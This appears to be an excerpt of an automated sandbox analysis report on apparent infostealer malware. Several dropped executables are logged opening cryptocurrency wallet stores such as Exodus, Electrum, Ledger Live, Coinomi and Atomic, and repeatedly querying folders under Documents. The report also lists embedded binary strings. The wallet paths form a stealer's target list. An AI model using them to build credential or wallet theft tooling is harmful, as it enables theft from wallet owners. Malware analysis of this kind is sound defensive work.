Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: 4V88JM9ZW2IZ0ZQGW7B.exe	Binary or memory string: WIN_81
Source: 4V88JM9ZW2IZ0ZQGW7B.exe	Binary or memory string: WIN_XP
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000000.1953763207.0000000000272000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 4V88JM9ZW2IZ0ZQGW7B.exe	Binary or memory string: WIN_XPe
Source: 4V88JM9ZW2IZ0ZQGW7B.exe	Binary or memory string: WIN_VISTA
Source: 4V88JM9ZW2IZ0ZQGW7B.exe	Binary or memory string: WIN_7
Source: 4V88JM9ZW2IZ0ZQGW7B.exe	Binary or memory string: WIN_8

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
